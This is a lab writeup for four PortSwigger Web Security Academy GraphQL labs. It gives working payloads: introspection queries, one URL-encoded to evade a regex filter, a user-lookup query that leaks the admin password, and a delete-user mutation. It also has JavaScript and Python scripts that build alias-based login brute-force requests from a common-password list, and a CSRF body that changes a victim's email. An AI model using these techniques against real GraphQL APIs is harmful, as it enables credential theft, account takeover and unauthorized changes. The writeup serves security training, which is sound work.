portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to GraphQL API Vulnerabilities:

Accidental exposure of private GraphQL fields
This lab demonstrates how attackers can enumerate GraphQL schema and access fields that should not be exposed to unauthorized users.

Finding a hidden GraphQL endpoint
This lab shows techniques to discover undisclosed GraphQL API endpoints that may not be directly linked or documented.

Bypassing GraphQL brute force protections
This lab demonstrates methods for bypassing brute-force protection mechanisms implemented in GraphQL APIs.

Performing CSRF exploits over GraphQL
This lab shows how attackers can exploit CSRF vulnerabilities via GraphQL queries to perform unauthorized actions on behalf of users.


LAB 2 - Accidental exposure of private GraphQL fields

Lab Description

image

Solution

Login as wiener

image

Burp catches the following POST request to /graphql/v1:

First we look at all the id and we notice there is no id missing.

image

Now we change our email and we can

image

And we can see that changing email has following POST request to /graphql/v1:

image

As the URL name already suggests this is a GraphQL endpoint. The display of the request can be beautified with the recommended “InQL” Burp Plugin:

image

When I start with the initial analysis of a GraphQL endpoint I send the following query to list the names of the types being used:

{"query": "{__schema{types{name,fields{name}}}}"}

image

The endpoint responds with the following: image

Countine for above image

    [
  {
    "name": "Boolean",
    "fields": null
  },
  {
    "name": "ChangeEmailInput",
    "fields": null
  },
  {
    "name": "ChangeEmailResponse",
    "fields": [
      {
        "name": "email"
      }
    ]
  },
  {
    "name": "Int",
    "fields": null
  },
  {
    "name": "LoginInput",
    "fields": null
  },
  {
    "name": "LoginResponse",
    "fields": [
      {
        "name": "token"
      },
      {
        "name": "success"
      }
    ]
  },
  {
    "name": "String",
    "fields": null
  },
  {
    "name": "Timestamp",
    "fields": null
  },
  {
    "name": "User",
    "fields": [
      {
        "name": "id"
      },
      {
        "name": "username"
      },
      {
        "name": "password"
      }
    ]
  },
  {
    "name": "__Directive",
    "fields": [
      {
        "name": "name"
      },
      {
        "name": "description"
      },
      {
        "name": "isRepeatable"
      },
      {
        "name": "locations"
      },
      {
        "name": "args"
      }
    ]
  },
  {
    "name": "__DirectiveLocation",
    "fields": null
  },
  {
    "name": "__EnumValue",
    "fields": [
      {
        "name": "name"
      },
      {
        "name": "description"
      },
      {
        "name": "isDeprecated"
      },
      {
        "name": "deprecationReason"
      }
    ]
  },
  {
    "name": "__Field",
    "fields": [
      {
        "name": "name"
      },
      {
        "name": "description"
      },
      {
        "name": "args"
      },
      {
        "name": "type"
      },
      {
        "name": "isDeprecated"
      },
      {
        "name": "deprecationReason"
      }
    ]
  },
  {
    "name": "__InputValue",
    "fields": [
      {
        "name": "name"
      },
      {
        "name": "description"
      },
      {
        "name": "type"
      },
      {
        "name": "defaultValue"
      },
      {
        "name": "isDeprecated"
      },
      {
        "name": "deprecationReason"
      }
    ]
  },
  {
    "name": "__Schema",
    "fields": [
      {
        "name": "description"
      },
      {
        "name": "types"
      },
      {
        "name": "queryType"
      },
      {
        "name": "mutationType"
      },
      {
        "name": "directives"
      },
      {
        "name": "subscriptionType"
      }
    ]
  },
  {
    "name": "__Type",
    "fields": [
      {
        "name": "kind"
      },
      {
        "name": "name"
      },
      {
        "name": "description"
      },
      {
        "name": "fields"
      },
      {
        "name": "interfaces"
      },
      {
        "name": "possibleTypes"
      },
      {
        "name": "enumValues"
      },
      {
        "name": "inputFields"
      },
      {
        "name": "ofType"
      },
      {
        "name": "specifiedByURL"
      }
    ]
  },
  {
    "name": "__TypeKind",
    "fields": null
  },
  {
    "name": "mutation",
    "fields": [
      {
        "name": "login"
      },
      {
        "name": "changeEmail"
      }
    ]
  },
  {
    "name": "query",
    "fields": [
      {
        "name": "getBlogPost"
      },
      {
        "name": "getAllBlogPosts"
      },
      {
        "name": "getUser",
        "_comment": "IMPORTANT: getUser function"
      }
    ]
  }
]

This response shows, that there is this query “getUser”. Furthermore there is “User” with the following fields:

We can also used InQl scanner to identfy mutaion and query as we can see in below image that using the InQL scanner, we got know there are three queries in the schema and one query is to get the user details

image

Now, we can use this query to send to the endpoint to retrieve user information. But, you need an user id to retrieve the details. It is not obvious but, from looking at the solution we can know that the admin user id is 1, we can also fuzz it if we donot knew id Now send any request using the /graphql/v1 endpoint to the Burp Repeater and move to the InQL tab inside it.

Now click on right tab and send it to repeater

image

As we can see in below image we have got query in repeater we willvchange id to 1 and paste it in change email graphql/v1 which belong to user query And admin id is 1,So it will give us admin username and password,then login through credential delete carlos and lab is solved

image

As we can see in below image we have cut all the email change functionality and paste above query and change id to 1 and we will get id 1 username and password which was admin

image

Now login as admin using above credentials

image


LAB 3 - Finding a hidden GraphQL endpoint

Lab Description

image

Solution

By navigating to different blog we can see that there is no graphql request and we have get request from home,So we try to brute force Get request Endpoint

image

Now we have send above get request to intruder and used this wordlist https://gist.githubusercontent.com/7h3h4ckv157/20266e2567b70d6b0af261cfc7d8939c/raw/e151ff7a81f4265237631da4f2e651a35e117c29/GraphQL%20Endpoints for brute force endpoint or You can find more complete list on SecLists.

image

We can see that api has 400 response remaning endpoint have different resposne,So 400 might be valid endpoint.

image

The result of the brute force shows that one of the payloads has a status of 400, namely “API.”

When transferred to the repeater and looking at the response, we can conclude that “API” is a hidden GraphQL endpoint. However, the response requires a query to display the information from the “GET” request method

image

hus, the query will be sent as a parameter of the URL. Let’s try with this query: /api?query=query{__typename}

The response shows that the query was sent successfully by displaying the queried information.

image

image

”message”: “GraphQL introspection is not allowed, but the query contained __schema or __type” GraphQL introspection on your target (if enabled):

image

So I have try GraphQL introspection on your target (if enabled):

Command:

query IntrospectionQuery{ __schema { queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type {kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

image

I learned the same from: 🔗 YesWeHack’s-Blog So, I just tried to bypass the defense by using many tactics but didn’t work! Later I convert the query to URL encoding & the payload works!

Command:

++%20query+IntrospectionQuery%7B+++++++__schema%0a+%7B%0D%0A++++++queryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type+++%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D

image

The response now includes full introspection details. The reason is the server is configured to exclude queries matching the “__schema{“ regex, which the query no longer matches even though it is still a valid introspection query. Find the “getuser” query from the result, then create a query request form with an encoded URL to be sent as a parameter URL.

image

Next, use query introspection once again to find the user delete query.

image

image

So I save introspection response body as a JSON file.and analyze it by burpsuite community

image

In InQL Scanner I scan the saved file & I found this

Mutation is a type of query used to modify data on the server. While queries are used for reading data, mutations are used for writing or modifying data. Mutations allow clients to make changes to the data stored on the server, such as creating, updating, or deleting records.

image

The same was passed in GET request just change user input to {id:1334} to tell sever what id to delete

image

As we can see below user doesnot exit because we pass id 1334 which no user has that id lets try 1,2,3

image

Now we used id:1

image

We can see that id:1 belongs to admin and we cannot delete that.

image

But when we pass id:3 which belong to carlos and it will delete carlos and lab is solved

image

lab is solved

image


LAB 4 - Bypassing GraphQL brute force protections

Lab Description

image

Tip: Automate GraphQL Login Brute-Force Using Aliases

This lab requires you to craft a large GraphQL request that uses aliases to send multiple login attempts simultaneously. Because this request can be time-consuming to construct manually, it’s recommended to use a script to build it.

How to Use the Provided Script

  1. Open the lab in Burp’s browser.
  2. Right-click on the page and select Inspect.
  3. Navigate to the Console tab.
  4. Paste the script below and press Enter.
  5. The list of aliases will be copied to your clipboard, ready to paste into Burp Repeater.

JavaScript Snippet

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));
console.log("The query has been copied to your clipboard.");

You can now paste the generated aliases into your GraphQL query body within Burp Repeater to test multiple passwords at once.

Solution

We randomly add password peter and username peter and intercept request and We see that it uses /graphql/v1 endpoint to send request to server

image

We want to brute for carlos password but when we do 3 attempts,We see that It is giving us error try again in three minutes,So to bypass it we will used alias

An alias is used to rename the result of a field in the response. This can be particularly useful when you have multiple fields with the same name but need to distinguish between them in the response.

image

Here is the request that being sent to the target.

image

If you use GraphQL extension, you will be seeing something like this: Username =peter in our case

image

So, we have a mutation and a variable.

We will create python script to create alias like we neededin above scnerio to bypass passworf limit, To get the password of carlos

Note: passwords are already provided to us

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "football",
    # ... paste the full list from https://portswigger.net/web-security/authentication/auth-lab-passwords here
    # There are usually ~100 common passwords in the lab list
]

print("")
print("```graphql
print("mutation BruteForceCarlos {")

for i, pwd in enumerate(passwords, 1):
    print(f"  attempt{i}: login(input: {{ username: \"carlos\", password: \"{pwd}\" }}) {{")
    print("    success")
    print("    token")
    print("  }")

print("}")
print("```")
print("")

We have run script in reptile and we have get the payload

image

but do not forget to add mutation { payload }

Now paste it in graphql and we can see that we have correct pasword hunter

image

Now login as carlos and lab is solved

image


LAB 5 - Performing CSRF exploits over GraphQL

Lab Description

image

Solution

In Burp, go to Proxy > HTTP history and check the resulting request. Note that the email change is sent as a GraphQL mutation. Right-click the email change request and select Send to Repeater.

image

In Repeater, amend the GraphQL query to change the email to a second different address. Click Send. In the response, notice that the email has changed again. This indicates that you can reuse a session cookie to send multiple requests. Convert the request into a POST request with a Content-Type of x-www-form-urlencoded. To do this, right-click the request and select Change request method twice.

image

image

Notice that the mutation request body has been deleted. Add the request body back in with URL encoding. The body should look like the below:

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

image

So I Have no professional burp in in linux so copy request and paste it professional burp to generate csrf poc

image

We have notice url given by csrf html poc is worng ,So we change it with the url which is our lab

image

Store and deliver to victum and lab is solved

image